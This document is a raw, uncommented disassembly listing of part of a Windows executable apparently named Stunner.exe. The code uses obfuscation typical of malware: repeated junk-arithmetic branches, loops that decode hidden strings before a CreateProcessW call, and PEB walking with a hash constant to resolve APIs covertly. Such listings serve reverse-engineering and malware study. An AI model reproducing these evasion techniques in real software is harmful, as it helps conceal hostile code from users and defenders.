cmp eax, ecx
je 0x140056711
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140056711
mov r13d, 7
jmp 0x1400567a7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400567a7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si r13d, xmm0
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005685e
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005685e
mov dword [rsp + 0x58], 7
jmp 0x1400568f7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400568f7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x58], eax
movsxd rcx, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x58]
mov rdx, qword [r14 + rcx*8 + 8]
and rdx, rax
add rdx, rdx
movsxd rax, dword [rsp + 0x50]
mov rbx, qword [r14 + rax*8 + 8]
sub rbx, rdx
movsxd rax, r13d
add rbx, rax
movsxd rax, dword [rsp + 0x50]
mov qword [r14 + rax*8 + 8], rbx
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*2]
add ebx, ebx
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140056c44
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140056a20
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140056a20
mov dword [rsp + 0x88], 7
jmp 0x140056abc
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140056abc
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x88], eax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140056b74
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140056b74
mov dword [rsp + 0x78], 7
jmp 0x140056c0d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140056c0d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x78], eax
movsxd rcx, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x78]
mov rbx, qword [r14 + rcx*8 + 8]
and rbx, rax
add rbx, rbx
movsxd rcx, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x88]
mov rdx, qword [r14 + rcx*8 + 8]
add rdx, rax
sub rdx, rbx
movsxd rax, dword [rsp + 0x50]
mov qword [r14 + rax*8 + 8], rdx
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov eax, ebx
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140056f78
mov eax, dword [rsp + 0x50]
sub eax, 0x67
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140056d4c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140056d4c
mov dword [rsp + 0x74], 7
jmp 0x140056de5
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140056de5
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x50]
sub eax, 0x67
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140056eab
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140056eab
mov dword [rsp + 0x6c], 7
jmp 0x140056f44
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140056f44
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x6c], eax
movsxd rcx, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x6c]
mov rbx, qword [r14 + rcx*8 + 8]
and rbx, rax
add rbx, rbx
movsxd rcx, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x74]
mov rdx, qword [r14 + rcx*8 + 8]
add rdx, rax
sub rdx, rbx
movsxd rax, dword [rsp + 0x50]
mov qword [r14 + rax*8 + 8], rdx
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
imul ebx, edx, 7
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140057288
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005706a
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005706a
mov dword [rsp + 0x64], 7
jmp 0x140057103
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140057103
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400571bb
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400571bb
mov dword [rsp + 0x70], 7
jmp 0x140057254
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140057254
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x70], eax
movsxd rcx, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x70]
mov rbx, qword [r14 + rcx*8 + 8]
and rbx, rax
add rbx, rbx
movsxd rcx, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x64]
mov rdx, qword [r14 + rcx*8 + 8]
add rdx, rax
sub rdx, rbx
movsxd rax, dword [rsp + 0x50]
mov qword [r14 + rax*8 + 8], rdx
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
jmp 0x1400562d0
xor esi, esi
mov byte [r14], 1
mov r8, qword [r14 + 8]
xor edx, edx
lea rcx, [rsp + 0x1d30]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x1d30], 0x68
mov r12d, 1
mov dword [rsp + 0x1d6c], r12d
mov word [rsp + 0x1d70], si
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x15c8], xmm0
mov qword [rsp + 0x15d8], rax
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x18a8]
call sym.Stunner.exe_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t_____cdecl_stw_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_
nop
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005791f
mov byte [rsp + 0x200], 0xc0
mov byte [rsp + 0x201], 0xc1
mov byte [rsp + 0x202], 0xc2
mov byte [rsp + 0x203], 0xc3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x204], xmm0
mov qword [rsp + 0x214], rax
mov byte [rsp + 0x21c], al
mov qword [rsp + 0x1688], rsi
mov rax, qword [rsp + 0x1688]
cmp rax, 0x1d
jae 0x1400573fd
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx edx, byte [rsp + rax + 0x200]
add rcx, 0x11c60
movzx eax, dl
and al, cl
add al, al
sub dl, al
add dl, 0x60
add dl, cl
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0x200], dl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x1d
jb 0x1400573a0
mov r8d, dword [rsp + 0x200]
mov byte [rsp + 0x1e0], 0xa6
mov byte [rsp + 0x1e1], 0xa5
mov byte [rsp + 0x1e2], 0xa4
mov byte [rsp + 0x1e3], 0xab
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1e4], xmm0
mov word [rsp + 0x1f4], ax
mov qword [rsp + 0x1688], rsi
mov rax, qword [rsp + 0x1688]
cmp rax, 0x16
jae 0x1400574b3
mov rdx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx ebx, byte [rsp + rax + 0x1e0]
movabs rax, 0xb380b3640664c665
add rdx, rax
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x3d
add bl, dl
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0x1e0], bl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x16
jb 0x140057450
lea rcx, [rsp + 0x18a8]
cmp qword [rsp + 0x18c0], 7
cmova rcx, qword [rsp + 0x18a8]
movsxd rax, dword [rsp + 0x1e0]
lea rdx, [rcx + rax*2]
lea rax, [rsp + 0x15c8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1d30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, rsi
test eax, eax
sete cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400575d8
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400575d8
mov ebx, 7
jmp 0x140057676
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005766f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si ebx, xmm0
jmp 0x140057676
mov ebx, dword [rsp + 0x1550]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov ecx, edi
movsx eax, al
imul ecx, eax
lea edx, [rcx + rcx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14005791d
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov eax, esi
imul eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400577b9
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400577b9
mov eax, 7
jmp 0x140057857
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140057850
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
jmp 0x140057857
mov eax, dword [rsp + 0x1550]
xor esi, esi
cmp esi, eax
jge 0x14005791f
mov byte [rsp + 0x1c0], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1c1], xmm0
mov qword [rsp + 0x1d1], rax
mov word [rsp + 0x1d9], ax
mov qword [rsp + 0x1688], rsi
mov rax, qword [rsp + 0x1688]
cmp rax, 0x1b
jae 0x140057903
nop dword [rax]
mov rdx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx ebx, byte [rsp + rax + 0x1c0]
movabs rax, 0xa20f00fdf1f26171
add rdx, rax
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x17
add bl, dl
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0x1c0], bl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x1b
jb 0x1400578a0
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x1a0]
call fcn.140001d00
jmp 0x1400584b2
xor esi, esi
mov rbx, qword [0x14007d208]
test rbx, rbx
jne 0x140057af5
mov edi, esi
mov r10d, 0x3474b087
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r15, r13
nop
movups xmm0, xmmword [r15 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1400579af
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x5521a70
cmp rcx, r8
je 0x1400579a7
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
